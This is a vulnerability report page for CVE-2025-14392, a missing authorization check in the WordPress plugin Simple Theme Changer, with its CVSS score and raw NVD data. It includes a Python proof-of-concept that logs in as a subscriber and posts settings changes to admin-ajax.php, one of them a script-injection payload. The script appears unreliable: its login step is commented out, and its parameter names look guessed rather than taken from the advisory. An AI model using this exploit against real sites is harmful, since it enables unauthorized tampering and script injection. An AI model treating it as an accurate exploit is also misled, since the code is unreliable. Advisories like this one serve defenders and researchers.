Security Vulnerability Report
中文
CVE-2025-14392 CVSS 4.3 MEDIUM

CVE-2025-14392

Published: 2025-12-12 04:15:50
Last Modified: 2026-04-15 00:35:42

Description

The Simple Theme Changer plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the user_theme_admin, display_method_admin, and set_change_theme_button_name actions actions in all versions up to, and including, 1.0. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify the plugin's settings.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Simple Theme Changer <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14392 PoC - Simple Theme Changer Plugin Authorization Bypass # This exploits missing capability checks on admin actions target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Authenticated user with subscriber role can exploit this session = requests.Session() # Login as subscriber (low-privilege user) login_data = { "log": "subscriber_username", "pwd": "subscriber_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Set cookies after login # session.post(login_url, data=login_data) # Then exploit the vulnerability: # Exploit 1: Modify user theme setting payload_theme = { "action": "user_theme_admin", "theme_name": "malicious_theme", "user_id": "1" } # Exploit 2: Modify display method payload_display = { "action": "display_method_admin", "method": "injected_script" } # Exploit 3: Change button name payload_button = { "action": "set_change_theme_button_name", "button_name": "<script>alert('XSS')</script>" } # Send exploit requests response = session.post(target_url, data=payload_theme) print(f"Theme modification response: {response.status_code}") response = session.post(target_url, data=payload_display) print(f"Display method modification response: {response.status_code}") response = session.post(target_url, data=payload_button) print(f"Button name modification response: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14392", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:50.110", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Theme Changer plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the user_theme_admin, display_method_admin, and set_change_theme_button_name actions actions in all versions up to, and including, 1.0. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify the plugin's settings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-theme-changer/tags/1.0/class_theme_changer.php#L262", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/880712ee-373f-49e7-93e3-968f3a0f3f83?source=cve", "source": "[email protected]"}]}}